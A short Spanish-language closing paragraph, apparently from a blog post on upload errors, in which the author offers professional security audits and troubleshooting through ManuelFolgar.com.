    Contacta conmigo en ManuelFolgar.com si necesitas una auditoría de seguridad profesional o si tus errores de upload persisten después de estas soluciones. Evaluaremos tu sitio de forma integral y resolveremos no solo los síntomas, sino la causa raíz del problema.